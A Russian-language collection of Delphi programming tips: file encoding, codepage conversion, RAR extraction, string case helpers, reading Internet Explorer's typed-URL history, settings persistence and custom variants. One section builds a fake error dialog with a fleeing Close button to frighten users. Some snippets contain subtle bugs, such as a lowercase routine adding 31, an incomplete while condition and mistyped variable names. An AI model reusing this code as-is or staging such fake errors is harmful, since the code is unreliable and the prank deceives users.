Статьи по Delphi (018)…
Универсальный создатель формы.
Обратите внимание на методы FindClass/GetClass и RegisterClass. С помощью их вы можете эффективно перевести строку (имя класса формы) в тип класса этой формы, и затем выполнить такую команду:
MyForm := TForm(FindClass(SomeString)).Create(Self); |
Unix-строки (чтение и запись Unix-файлов).
| Противоламерская Оборона, имею медаль"За защиту UNIХ'а от Мелкомягких" |
Данный модуль позволяет читать и записывать файлы формата Unix.
unit StreamFile;
interface
uses
SysUtils;
procedure AssignStreamFile(var F: Text; Filename: string);
implementation
const
BufferSize = 128;
type
TStreamBuffer = array[1..High(Integer)] of Char;
TStreamBufferPointer = ^TStreamBuffer;
TStreamFileRecord = record
case Integer of
1:
(
Filehandle: Integer;
Buffer: TStreamBufferPointer;
BufferOffset: Integer;
ReadCount: Integer;
);
2:
(
Dummy: array[1..32] of Char
)
end;
function StreamFileOpen(var F: TTextRec): Integer;
var
Status: Integer;
begin
with TStreamFileRecord(F.UserData) do
begin
GetMem(Buffer, BufferSize);
case F.Mode of
fmInput:
FileHandle := FileOpen(StrPas(F.Name), fmShareDenyNone);
fmOutput:
FileHandle := FileCreate(StrPas(F.Name));
fmInOut:
begin
FileHandle := FileOpen(StrPas(F.Name), fmShareDenyNone or
fmOpenWrite or fmOpenRead);
if FileHandle <> -1 then
status := FileSeek(FileHandle, 0, 2); { Перемещаемся в конец файла. }
F.Mode := fmOutput;
end;
end;
BufferOffset := 0;
ReadCount := 0;
F.BufEnd := 0;
{ В этом месте подразумеваем что мы достигли конца файла (eof). }
if FileHandle = -1 then
Result := -1
else
Result := 0;
end;
end;
function StreamFileInOut(var F: TTextRec): Integer;
procedure Read(var Data: TStreamFileRecord);
procedure CopyData;
begin
while (F.BufEnd < Sizeof(F.Buffer) - 2)
and (Data.BufferOffset <= Data.ReadCount)
and (Data.Buffer[Data.BufferOffset] <> #10) do
begin
F.Buffer[F.BufEnd] := Data.Buffer^[Data.BufferOffset];
Inc(Data.BufferOffset);
Inc(F.BufEnd);
end;
if Data.Buffer[Data.BufferOffset] = #10 then
begin
F.Buffer[F.BufEnd] := #13;
Inc(F.BufEnd);
F.Buffer[F.BufEnd] := #10;
Inc(F.BufEnd);
Inc(Data.BufferOffset);
end;
end;
begin
F.BufEnd := 0;
F.BufPos := 0;
F.Buffer := '';
repeat
begin
if (Data.ReadCount = 0) or (Data.BufferOffset > Data.ReadCount) then
begin
Data.BufferOffset := 1;
Data.ReadCount := FileRead(Data.FileHandle, Data.Buffer^, BufferSize);
end;
CopyData;
end until (Data.ReadCount = 0)
or (F.BufEnd >= Sizeof(F.Buffer) - 2);
Result := 0;
end;
procedure Write(var Data: TStreamFileRecord);
var
Status: Integer;
Destination: Integer;
II: Integer;
begin
with TStreamFileRecord(F.UserData) do
begin
Destination := 0;
for II := 0 to F.BufPos - 1 do
begin
if F.Buffer[II] <> #13 then
begin
Inc(Destination);
Buffer^[Destination] := F.Buffer[II];
end;
end;
Status := FileWrite(FileHandle, Buffer^, Destination);
F.BufPos := 0;
Result := 0;
end;
end;
begin
case F.Mode of
fmInput:
Read(TStreamFileRecord(F.UserData));
fmOutput:
Write(TStreamFileRecord(F.UserData));
end;
end;
function StreamFileFlush(var F: TTextRec): Integer;
begin
Result := 0;
end;
function StreamFileClose(var F: TTextRec): Integer;
begin
with TStreamFileRecord(F.UserData) do
begin
FreeMem(Buffer);
FileClose(FileHandle);
end;
Result := 0;
end;
procedure AssignStreamFile(var F: Text; Filename: string);
begin
with TTextRec(F) do
begin
Mode := fmClosed;
BufPtr := @Buffer;
BufSize := Sizeof(Buffer);
OpenFunc := @StreamFileOpen;
InOutFunc := @StreamFileInOut;
FlushFunc := @StreamFileFlush;
CloseFunc := @StreamFileClose;
StrPLCopy(Name, FileName, Sizeof(Name) - 1);
end;
end;
end.
|
Универсальное и быстрое перекодирование строки из кодировок ANSI, KOI8-R, KOI8-U, OEM-DOS, ISO.
Автор: VEG WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Универсальное и быстрое перекодирование строки из кодировок
ANSI, KOI8-R, KOI8-U, OEM/DOS, ISO
В этой функции используется элементарный алгоритм, который по скорости работы
опережает свои аналоги, и позволяет перекодировать текст из различных кодировок.
Для перекодирования строки используется универсальная функция ConvertEncoding,
где в качестве первого параметра выступает строка, которую необходимо
перекодировать, а в качестве второго - матрица перекодирования, которая
определяет из какой кодировки в какую необходимо перекодировать данную строку.
В этой версии имеется 6 видов матриц перекодирования (тип TCodeMatrix):
1. cmAnsiToKoi8R - перекодирует строку из кодировки ANSI в кодировку KOI8-R
2. cmAnsiToKoi8U - перекодирует строку из кодировки ANSI в кодировку KOI8-U
3. cmKoi8RToAnsi - перекодирует строку из кодировки KOI8-R в кодировку ANSI
4. cmKoi8UToAnsi - перекодирует строку из кодировки KOI8-U в кодировку ANSI
5. cmOemDosToAnsi - перекодирует строку из кодировки OEM/DOS в кодировку ANSI
6. cmIsoToAnsi - перекодирует строку из кодировки ISO в кодировку ANSI
Зависимости: System;
Автор: VEG, veg@tut.by, Республика Беларусь - Слуцк
Copyright: ©VEG, 31.10.2003
Дата: 31 октября 2003 г.
***************************************************** }
type // Тип матриц перекодировки
TCodeMatrix = array[1..255] of char;
const // Матрицы перекодировки
FirstCodes =
#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19#20#21#22#23#24#25#26#27#28+
#29#30#31' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^' +
'_`abcdefghijklmnopqrstuvwxyz{|}~';
cmAnsiToKoi8R: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
+ 'ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ‘’“”•–—™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬®Ї°±Ііґµ¶·Ј—є»јЅѕїбвчздецъй'
+ 'клмнопртуфхжигюыэящшьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭЯЩШЬАС';
cmAnsiToKoi8U: TCodeMatrix = FirstCodes // ver 0.8, ©VEG, 31.10.2003
+ 'ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ‘’“”•–—™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬®Ї°±Ііґµ¶·Ј—є»јЅѕїбвчздецъй'
+ 'клмнопртуфхжигюыэящшьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭЯЩШЬАС';
cmKoi8RToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
+ '-¦-¬L-++T++---¦¦---?¦•v??? ?°?·?=¦-ёг㬬¬LLL---¦¦¦¦Ё¦¦TTT¦¦¦+++©юабцдефгх'
+ 'ийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ';
cmKoi8UToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
+ '-¦-¬L-++T++---¦¦---?¦•v??? ?°?·?=¦-ёєгії¬LLL-ґў¦¦¦¦ЁЄ¦ІЇT¦¦¦+ҐЎ©юабцдефгх'
+ 'ийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ';
cmOemDosToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
+ 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп---¦+¦¦¬¬¦¦¬---¬L+T+-+¦¦L'
+ 'г¦T¦=+¦¦TTLL-г++----¦¦-рстуфхцчшщъыьэюяЁёЄєЇїЎў°•·v№¤¦ ';
cmIsoToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
+ '??????????????????????????????? ЁЂЃЄЅІЇЈЉЊЋЌЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШ'
+ 'ЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђѓєѕіїјљњћќ§ўџ';
function ConvertEncoding(sIn: string; sCoding: string): string;
//sIn - строка для перекодирования
//sCoding - матрица для перекодирования
//result - полученная перекодированная строка
var
iFtd: integer;
begin
for iFtd := 1 to length(sIn) do
result := result + sCoding[ord(sIn[iFtd])];
end; // ver 1.0, (C)Vrublevsky Evgeny Gennadyevich (BELARUS/SLUTSK), 31.10.2003
Пример использования:
var
sOut: string;
begin
sOut := ConvertEncoding(ConvertEncoding('Тест!', cmAnsiToKoi8R), cmKoi8RToAnsi);
end;
Перекодировка строк из одной кодировки в другую.
Автор: Default WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> перекодировка строк из одной кодировки в другую
// функция CodeConversion служит для перекодировки строки символов из
// одной кодировки в другую кодировку;
// параметры: SourceStr - исходная строка для перекодировки,
// VectorCodeConv - вектор перекодировки;
// Result - перекодированная строка;
// Написана как альтернатива функции ConvertEncoding @VEG-а
// Быстрее как минимум - приблизительно в 4 раза,
// как максимум - приблизительно в 18 раз
// (минимум - когда первый параметр перед передачей в подпрограмму
// преобразовывается из типа String к типу PChar + результат
// преобразовывается из типа PChar в тип String;
// максимум - когда нет никаких преобразований String в PChar и обратно)
Зависимости: Нет
Автор: default
Copyright: default(+VEG@-ие вектора перекодировок)
Дата: 3 ноября 2003 г.
***************************************************** }
function CodeConversion(const SourceStr, VectorCodeConv: PChar): PChar;
asm
// Вход: SourceStr --> EAX, VectorCodeConv --> EDX
// Выход: Result --> EAX
PUSH EBX
XOR ECX, ECX
XOR EBX, EBX
@@Go:
TEST BYTE PTR [EAX + ECX], -1
JZ @@Exit
MOV BL, BYTE PTR [EAX + ECX]
MOV BL, BYTE PTR [EDX + EBX - 1]
MOV BYTE PTR [EAX + ECX], BL
INC ECX
JMP @@Go
@@Exit:
POP EBX
end;
Пример использования:
var
S: PChar;
begin
S := CodeConversion(CodeConversion('Тест!', cmAnsiToKoi8R), cmKoi8RToAnsi)
end;
Создаём собственный UnRar, используя unrar.dll.
| Едут в переполненном автобусе качок, каратист и программист. Измученный толкотней качок предлагает: - Давайте, ребята, поднажмем и лишний народ вытолкнем. Каратист не согласен: - Да, ну, давайте лучше замочим человек пять, а остальные сами разбегутся. Программист с умным лицом предлагает: - Зачем мучиться, давайте лучше заархивируем всех и положим на переднее сиденье. |
// Объявления
function RAROpenArchive(ArchiveData : Pointer): Integer; stdcall;
external 'unrar.dll' name 'RAROpenArchive';
function RARCloseArchive(hArcData : Integer): Integer; stdcall;
external 'unrar.dll' name 'RARCloseArchive';
function RARReadHeader(hArcData : Integer; HeaderData : Pointer):
Integer; stdcall;
external 'unrar.dll' name 'RARReadHeader';
function RARProcessFile(hArcData : Integer; Operation : Integer;
DestPath : Pointer; DestName : Pointer): Integer; stdcall;
external 'unrar.dll' name 'RARProcessFile';
const
ERAR_END_ARCHIVE = 10;
ERAR_NO_MEMORY = 11;
ERAR_BAD_DATA = 12;
ERAR_BAD_ARCHIVE = 13;
ERAR_UNKNOWN_FORMAT = 14;
ERAR_EOPEN = 15;
ERAR_ECREATE = 16;
ERAR_ECLOSE = 17;
ERAR_EREAD = 18;
ERAR_EWRITE = 19;
ERAR_SMALL_BUF = 20;
RAR_OM_LIST = 0;
RAR_OM_EXTRACT = 1;
RAR_SKIP = 0;
RAR_TEST = 1;
RAR_EXTRACT = 2;
RAR_VOL_ASK = 0;
RAR_VOL_NOTIFY = 1;
type
Char260 = array [1..260] of Char;
TRAROpenArchiveData = record
ArcName : PChar; // в C++ это будет выглядеть как: char *ArcName
OpenMode : Cardinal;
OpenResult : Cardinal;
CmtBuf : PChar;
CmtBufSize : Cardinal;
CmtSize : Cardinal;
CmtState : Cardinal;
end;
TRARHeaderData = record
ArcName : Char260;
FileName : Char260;
Flags : Cardinal;
PackSize : Cardinal;
UnpSize : Cardinal;
HostOS : Cardinal;
FileCRC : Cardinal;
FileTime : Cardinal;
UnpVer : Cardinal;
Method : Cardinal;
FileAttr : Cardinal;
CmtBuf : PChar;
CmtBufSize : Cardinal;
CmtSize : Cardinal;
CmtState : Cardinal;
end;
var
RARExtract : boolean;
RAROpenArchiveData : TRAROpenArchiveData;
RARComment : array [1..256] of Char;
RARHeaderData : TRARHeaderData;
...
procedure ExtractRARArchive;
var
sDir : string;
s : string;
sTest : string;
iTest : integer;
bTestDone : boolean;
RARhnd : Integer;
RARrc : Integer;
PDestPath : Char260;
begin
RARExtract:=TRUE;
lKBWritten:=0;
ProgressBar2.Position := 0;
ProgressBar2.Max := lTotalSize;
RARStartTime:=Time;
RAROpenArchiveData.OpenResult:=99;
RAROpenArchiveData.OpenMode := RAR_OM_EXTRACT; // открываем для распаковки
RAROpenArchiveData.ArcName:= @RARFileName;
RAROpenArchiveData.CmtBuf := @RARComment;
RAROpenArchiveData.CmtBufSize := 255;
// Открываем RAR архив и выделяем память
RARhnd := RAROpenArchive (@RAROpenArchiveData);
if RAROpenArchiveData.OpenResult <> 0 then
begin
case RAROpenArchiveData.OpenResult of
ERAR_NO_MEMORY : s:='Not enough memory to initialize data structures';
ERAR_BAD_DATA : s:='Archive header broken';
ERAR_BAD_ARCHIVE : s:='File is not valid RAR archive';
ERAR_EOPEN : s:='File open error';
end;
MessageDlg('Unable to open rar archive: ' + s + '!',mtError, [mbOK], 0);
end;
RARSetProcessDataProc(RARhnd,@Form.OnRarStatus);
StrPCopy(@PDestPath, EInstallPath.Text);
repeat
RARrc := RARReadHeader (RARhnd, @RARHeaderData);// Читаем заголовок
if RARrc <> ERAR_END_ARCHIVE then
begin
ProgressBar1.Position := 0;
ProgressBar1.Max := RARHeaderData.UnpSize;
s:=RARHeaderData.FileName;
lblCurrentFile.Caption := s;
lKBytesDone := 0;
end;
if RARrc = 0 then
RARrc:=RARProcessFile (RARhnd, RAR_EXTRACT, @PDestPath, nil);
if (RARrc <> 0) and (RARrc <> ERAR_END_ARCHIVE) then
begin
MessageDlg('An Error occured during extracting of ' + sTest+'!' + #13#10 +
'RARProcessFile: ' + MakeItAString(RARrc),mtError, [mbOK], 0);
end;
until
RARrc <> 0;
// закрываем RAR архив и освобождаем память
if RARCloseArchive(RARhnd) <> 0 then
begin
MessageDlg('Unable to close rar archive!',mtError, [mbOK], 0);
end;
end;
|
Как избавиться от зарегистрированного имени сервера.
Автор: Nomadic Запустите исполняемый файл сервера с ключом /UNREGSERVER:MYSERVER.EXE /UNREGSERVER
Это обычный путь разрегистрации саморегистрирующегося сервера автоматизации OLE.
Как сделать, чтобы первая буква каждого слова в строке была в верхнем регистре.
| Вчера хакерам удалось взломать програмное обеспечение новой российской ракеты "Тополь". Получив root, они заменили заглавную букву в названии на "Ж". |
function LowCase(ch: CHAR): CHAR;
begin
case ch of
'A'..'Z': LowCase := CHR(ORD(ch) + 31);
else
LowCase := ch;
end;
end;
function Proper(source, separators: string): string;
var
LastWasSeparator: BOOLEAN;
ndx: INTEGER;
begin
LastWasSeparator := TRUE;
ndx := 1;
while (ndx <= Length(source)) do
begin
if LastWasSeparator then
source[ndx] := UpCase(source[ndx])
else
source[ndx] := LowCase(source[ndx]);
LastWasSeparator := Pos(source[ndx], separators) > 0;
inc(ndx);
end;
Result := source;
end;
|
Можно так:
function TfrmLoadProtocolTable.ToMixCase(InString: string): string;
var
I: Integer;
begin
Result := LowerCase(InString);
Result[1] := UpCase(Result[1]);
for I := 1 to Length(InString) - 1 do
begin
if (Result[I] = ' ') or (Result[I] = '''') or (Result[I] = '"')
or (Result[I] = '-') or (Result[I] = '.') or (Result[I] = '(') then
Result[I + 1] := UpCase(Result[I + 1]);
end;
end;
|
Попробуйте взамен это:
function proper(s: string): string;
var
t: string;
i: integer;
newWord: boolean;
begin
if s = '' then
exit;
s := lowercase(s);
t := uppercase(s);
newWord := true;
for i := 1 to length(s) do
begin
if newWord and (s[i] in ['a'..'z']) then
begin
s[i] := t[i];
newWord := false;
continue;
end;
if s[i] in ['a'..'z', ''''] then
continue;
newWord := true;
end;
result := s;
end;
|
Перевод символа в верхний регистр для русского алфавита.
function UpCaseRus(ch: Char): Char; asm CMP AL,'a' JB @@exit CMP AL,'z' JA @@Rus SUB AL,'a' - 'A' RET @@Rus: CMP AL,'я' JA @@Exit CMP AL,'а' JB @@yo SUB AL,'я' - 'Я' RET @@yo: CMP AL,'¸' JNE @@exit MOV AL,'¨' @@exit: end; |
function LoCaseRus( ch : Char ) : Char;
{Перевод символа в нижний регистр для русского алфавита}
asm
CMP AL,'A'
JB @@exit
CMP AL,'Z'
JA @@Rus
ADD AL,'a' - 'A'
RET
@@Rus:
CMP AL,'Я'
JA @@Exit
CMP AL,'А'
JB @@yo
ADD AL,'я' - 'Я'
RET
@@yo:
CMP AL,'¨'
JNE @@exit
MOV AL,'¸'
@@exit:
end;
|
Внести изменения в набор данных и не потерять текушей позиции.
procedure TMyForm.MakeChanges;
var
aBookmark: TBookmark;
begin
Table1.DisableControls;
aBookmark := Table.GetBookmark;
try
{ваш код}
finally
Table1.GotoBookmark(aBookmark);
Table1.FreeBookmark(aBookmark);
Table1.EnableControls;
end;
end;
|
Обработка нажатий клавиш вверх-вниз.
| Автор: Галимарзанов Фанис |
| - Захотел ты беспредел? Так нажми контрол+алт+дел! |
Почти всегда требуется обработка нажатий клавиш "вверх-вниз" для смены фокуса ввода - мои "тетки-юзеры" боются мышей, да и сам я не любитель комбинаций мышь-клавиатура.
procedure TfmAbProps.edNameKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Key = vk_down) and
not (ssAlt in Shift)
{// здесь обработка для "выпадающих" окошек типа TRxDBCalcEdit} then
begin
Key := 0;
SelectNext(Sender as TWinControl, true, true);
end
else if Key = vk_up then
begin
Key := 0;
SelectNext(Sender as TWinControl, false, true);
end;
end;
|
Для элементов редактирования типа TDbEdit, TRxDBCalcEdit or TDBDateEdit назначим.
OnKeyDown:=edNameKeyDown |
Сложнее с типами вроде TRxDBLookupCombo. Наш прежний обработчик для них не подходит. Я пытался изменить характер TRxDBLookupCombo - но вовремя опомнился - есть же FormKeyDown;
procedure TfmAbProps.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (ActiveControl is TRxDBLookupCombo) then
begin
if Key = vk_down then
begin
if not (ssAlt in Shift) and not
// здесь нельзя обработать нажатие при вызове "выпадающего"
(ActiveControl as TRxDBLookupCombo).IsDropDown then
begin // и в случае уже "выпвшего"
Key := 0;
selectnext(ActiveControl, true, true);
end;
end
else if Key = vk_up then
begin
if not (ActiveControl as TRxDBLookupCombo).IsDropDown then
begin
Key := 0;
selectnext(ActiveControl, false, true);
end;
end;
end;
end;
|
Вывести типы URL для Internet Explorer.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses registry;
procedure ShowTypedUrls(Urls: TStrings);
var
Reg: TRegistry;
S: TStringList;
i: Integer;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('Software\Microsoft\Internet Explorer\TypedURLs', False) then
begin
S := TStringList.Create;
try
reg.GetValueNames(S);
for i := 0 to S.Count - 1 do
begin
Urls.Add(reg.ReadString(S.Strings[i]));
end;
finally
S.Free;
end;
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowTypedUrls(ListBox1.Items);
end;
Несколько полезных функций для работы со строками.
Strs : Тоже самое, что и Str (для integer/longint), но в более функциональной форме, что позволяет сделать преобразование числа в строку более простым. Before : возвращает часть стоки, расположенную перед задаваемой подстрокой, или целиком исходную строку, если данная подстрока не обнаружена. After : как вы можете догадаться, возвращает часть стоки, расположенную после задаваемой подстрокой, или пустую строку, если данная подстрока не обнаружена.FP : данная функция создана для работы в стиле условной строки "C", которая возвращает результат в виде другой строки, основываясь на результатах логического выражения. (я мог бы осуществить поддержку различных типов данных, но не посчитал это особо актуальным для формирования выходной строки).
Function Strs (I:longint) : string ; Var X : string[16] ; begin STR (I,X) ; Strs := X ; end ; |
Пример:
s :='пользователь=Вася';
Text := After ('=',s);
Text := Text+fp(Text<>'',' есть #Неизвестный ') + Before ('=',s);
|
Text будет содержать 'Вася есть пользователь' Если s содержало бы только 'пользователь' или 'пользователь=' то Text был бы 'Неизвестный пользователь'
Function Before ( Src:string ; Var S:string ) : string ;
Var
F : Word ;
begin
F := POS (Src,S) ;
if F=0 then
Before := S
else
Before := COPY(S,1,F-1) ;
end ;
|
Function After ( Src:string ; Var S:string ) : string ;
Var
F : Word ;
begin
F := POS (Src,S) ;
if F=0 then
After := ''
else
After := COPY(S,F+length(src),length(s)) ;
end ;
|
Пример 1:
MyText := strs(N)+' компьютер'+FP (N>1,'ы') ; |
Пример 2:
if Nargs<>4 then Msg :='Имеется '+FP(Nargs>4,'много#несколько')+' аргументов.'); |
const
MY_SEP : Char = '#';
Function FP ( B : Boolean ; S:string ) : string ;
begin
if POS (MY_SEP,S)>0 then
if B then
S := Before (MY_SEP,S)
else
S := After (MY_SEP,S)
else
if not B then
S := '' ;
FP := S ;
end ;
|
Шутки над пользователем.
Некоторых пользователей врят ли можно будет испугать экранным вирусом, однако можно воспользоваться другими способами запугивания, например: прозрачные окошки, недоступные пункты меню с большим количеством подуровней, а так же сообщения об ошибках, которые нельзя убрать.
В приведённом ниже примере при помощи обычного диалогового окна пользователю показывается сообщение об ошибке, причём кнопка "close" накак не хочет нажиматься. У этого диалога есть зависимое окно, которое показывается, при нажатии кнопки "details".
Поддельная форма с сообщением об ошибке имеет кнопку "details", которая открывает вторую часть формы. Это достигается путём добавления компонента за пределы самой формы:
object Form2: TForm2
AutoScroll = False
Caption = 'Error'
ClientHeight = 93
ClientWidth = 320
OnShow = FormShow
object Label1: TLabel
Left = 56
Top = 16
Width = 172
Height = 65
AutoSize = False
Caption =
'Программа выполнила недопустимую ' +
'операцию. Если проблема повторится, ' +
'то обратитесь к разработчику программного обеспечения.'
WordWrap = True
end
object Image1: TImage
Left = 8
Top = 16
Width = 41
Height = 41
Picture.Data = {...}
end
object Button1: TButton
Left = 240
Top = 16
Width = 75
Height = 25
Caption = 'Close'
TabOrder = 0
OnClick = Button1Click
end
object Button2: TButton
Left = 240
Top = 56
Width = 75
Height = 25
Caption = 'Details >>'
TabOrder = 1
OnClick = Button2Click
end
object Memo1: TMemo // за пределами формы!
Left = 24
Top = 104
Width = 265
Height = 89
Color = clBtnFace
Lines.Strings = (
'AX:BX 73A5:495B'
'SX:PK 676F:FFFF'
'OH:OH 7645:2347'
'Crash 3485:9874'
''
'What''s going on here?' )
TabOrder = 2
end
end
Когда пользователь нажимает кнопку "details", то программа просто изменяет размер формы:
procedure TForm2.Button2Click(Sender: TObject); begin Height := 231; end;
Вторая форма, которая наследуется от первой имеет перемещающуюся кнопку "close":
procedure TForm3.Button1Click(Sender: TObject); begin Button1.Left := Random(ClientWidth - Button1.Width); Button1.Top := Random(ClientHeight - Button1.Height); end;
В заключении, можно сделать дырку в окне, используя API функцию SetWindowRgn:
procedure TForm1.Button4Click(Sender: TObject);
var
HRegion1, Hreg2, Hreg3: THandle;
Col: TColor;
begin
ShowMessage('Ready for a real crash?');
Col := Color;
Color := clRed;
PlaySound('boom.wav', 0, snd_sync);
HRegion1 := CreatePolygonRgn(Pts,
sizeof(Pts) div 8,
alternate);
SetWindowRgn(
Handle, HRegion1, True);
ShowMessage('Now, what have you done?');
Color := Col;
ShowMessage('Вам лучше купить новый монитор');
end;
Автоматическое сохранение или загрузка установок пользователя.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
private
procedure SaveConfig(fn: string);
procedure LoadConfig(fn: string);
end;
implementation
{....}
procedure TForm1.SaveConfig(fn: string); // fn: Filename where to save the stream
{
Saves all TWinControl-descendants of all Pages of a PageControl in a stream
can easy be used to save userdefined Options
Place a new control to the PageControl and it will be saved to the stream, without
any additional codeline
Speichert alle Abkommlinge von TWinControl auf allen Seiten eines PageControls
in ein File
Erleichtert das Speichern von benutzerdefinierten Optionen
Einfach ein neues Control auf das PageControl setzen und es wird ohne zusatzlichen
Code gespeichert
}
var
Stream: TFileStream;
i, j: Integer;
ObjName: string[255];
begin
Stream := TFileStream.Create(fn, fmCreate);
try
Stream.Position := 0;
// Walk throug every Control on every Page of a PageControl
// Alle Controls auf allen Pages eines PageControls durchlaufen
for j := 0 to PageControl.PageCount - 1 do
begin
for i := 0 to PageControl.Pages[j].ControlCount - 1 do
begin
if PageControl.Pages[j].Controls[i] is TWinControl then
begin
// If the control is a descendant of TWinControl, then save it in the
// stream incl. name and length
// Wenn das Control von TWinControl abstammt, dann mit Namen und Lange
// in den Stream speichern
ObjName := PageControl.Pages[j].Controls[i].Name;
Stream.WriteBuffer(ObjName, Length(ObjName) + 1);
Stream.WriteComponent(PageControl.Pages[j].Controls[i]);
end;
end;
end;
finally
Stream.Free;
end;
end;
procedure TForm1.LoadConfig(fn: string); // fn: Filename from where to load the stream
// Loads the controls back from the stream
// Ladt aus dem gespeicherten Stream den Zustand der Controls zuruck
var
Stream: TFileStream;
ObjName: string[255];
ObjNameLen: Byte;
i, j: Integer;
begin
Stream := TFileStream.Create(fn, fmOpenRead or fmShareDenyNone);
try
Stream.Position := 0;
// walk through the stream
// durch den ganzen Stream gehen
while Stream.Position do
begin
try
// get objectname
// Objektname holen
Stream.Read(ObjName[0], 1);
ObjNameLen := Byte(ObjName[0]);
Stream.Read(ObjName[1], ObjNameLen);
finally
end;
// Search the control on the PageControl
// Das Control auf dem PageControl suchen
for j := 0 to PageControl.PageCount - 1 do
begin
for i := 0 to PageControl.Pages[j].ControlCount - 1 do
begin
if PageControl.Pages[j].Controls[i] is TWinControl then
begin
if ObjName = PageControl.Pages[j].Controls[i].Name then
begin
try
if PageControl.Pages[j].Controls[i] is TCheckbox then
// TCheckbox has to be set to False
// TCheckbox muss zuerst auf False gesetzt werden
(PageControl.Pages[j].Controls[i] as TCheckbox).Checked := False;
// load control
// Control laden
Stream.ReadComponent(PageControl.Pages[j].Controls[i]);
finally
end;
end;
end;
end;
end;
end;
finally
Stream.Free;
end;
end;
{ Save}
procedure TForm1.Button2Click(Sender: TObject);
begin
SaveConfig('pagecontrol.dat');
end;
{ Load}
procedure TForm1.Button1Click(Sender: TObject);
begin
LoadConfig('pagecontrol.dat');
end;
Пользовательские варианты.
Стандартный вариант может хранить только одно из значений, указанных в табл. 10.2. В версии Delphi 6 появились так называемые пользовательские варианты, которые фактически снимают ограничения на характер значений варианта. Чтобы познакомиться со свойствами новых вариантов, воспользуемся одним из них - вариантом, способным хранить комплексные числа, преобразовывать их в другие типы и осуществлять над ними нужные действия. Как мы увидим дальше, создание пользовательского варианта может быть весьма трудоемким делом - все зависит от сложности хранимых в нем данных. Мы воспользуемся вариантом, созданным разработчиками Delphi и включенным в модуль VarCmplx.Создайте такой обработчик bbRunClick:
uses VarCmplx; // Эта ссылка обязательна!
procedure TfmExample.bbRunClick(Sender: TObject);
var
VI, V2: Variants - begin
// Создаем два случайных комплексных числа:
VI := VarComplexCreate(Trunc(Random * 1000) / 100,
Trunc(Random * 1000) / 100);
V2 := VarComplexCreate(Trunc(Random * 1000) / 100,
Trunc(Random * 1000) / 100);
with mmOutput.Lines do
begin
// Пустая строка-разделитель
Add(' ');
Add('1-e число: '#09 + V1);
Add('2-е число: '#9 + V2);
Add('Сложение'#9 + (V1 + V2));
Add('Вычитание'#9 + (V1 - V2));
Add('Умножение'#09 + (VI * V2));
Add('Деление'#9#9 + (V1 / V2))
end
end;
Небольшой комментарий: сложная конструкция Trunc (Random*1000) /100 понадобилась только для того, чтобы реальные и мнимые части комплексных чисел содержали по три значащих цифры.
Как видим, новый вариант легко справляется с поддержкой комплексных чисел: функция VarComplexCreate создает вариант, содержащий комплексное число, а дальнейшее поведение варианта -стандартное (он поддерживает математические операции и преобразование к строковому типу). Однако эта легкость обманчива: исходный текст модуля VarCmplx, который, собственно, и придал варианту дополнительные свойства (по умолчанию располагается в файле Source\Rtl\Common\VarCmplx.pas), содержит более 30000 байт..
Структура записи TVarData. Два первых байта в этой записи (поле VType) хранят признак значения варианта, остальные 14 могут использоваться для размещения данных.
Создание пользовательского варианта проходит в три этапа.
Сначала в записи rvarData размещаются новые данные или ссылка на них. Объявляется класс, который является прямым или косвеннымпотомком специального класса TCustomVariantType. В этомклассе предусматриваются все необходимые методы для реализации свойств варианта: присваивания ему новых значений, преобразования хранящихся значений к другим типам, выполнения необходимых математических действий. Создаются вспомогательные методы для объявления потомков нового класса и определения их типов.В результате перечисленных шагов вы получаете полноценный вариант, обогащенный новыми свойствами: он может хранить не только те значения, которые перечислены в табл. 10.2, но и любые другие, в том числе свойства и методы! (В этом последнем случае наследником для исполняемого класса нового варианта вместо TCustomVariantType является TInvokeableVariantType или TPublishableVariantType.).
Как можно использовать DLL.
Автор: Алексей Павлов WEB-сайт: http://delphikingdom.com Прислал: Bramus Стимулом к написанию данной статьи стали многочисленные вопросы в форумах, а так же постоянные нападки одной молодой особы :) Хочу сразу оговориться и сказать, что нижеследующий текст предназначен для ещё не совсем опытных , но уже достаточно "продвинутых" программистов. Он не претендует на полноту изложения по заданной теме и на "рэпирность" определений и высказываний, используемых автором. На данный момент существует уже большое количество источников, в которых можно почитать много интересной информации о принципах написания и работе с библиотеками, но всё же, начиная разговор о использовании динамически компонуемых библиотеках, стоит ввести некоторые базовые определения и понятия, без которых дальнейшие выкладки будут не поняты людям, не имевшими дело с dll, а тем, кто уже имеет некоторый опыт в данной области будет не лишним освежить в памяти основы. Итак, dll - это, содержащие код, ресурсы или какие-то иные данные, программные модули. Чем нас не устраивают обычные 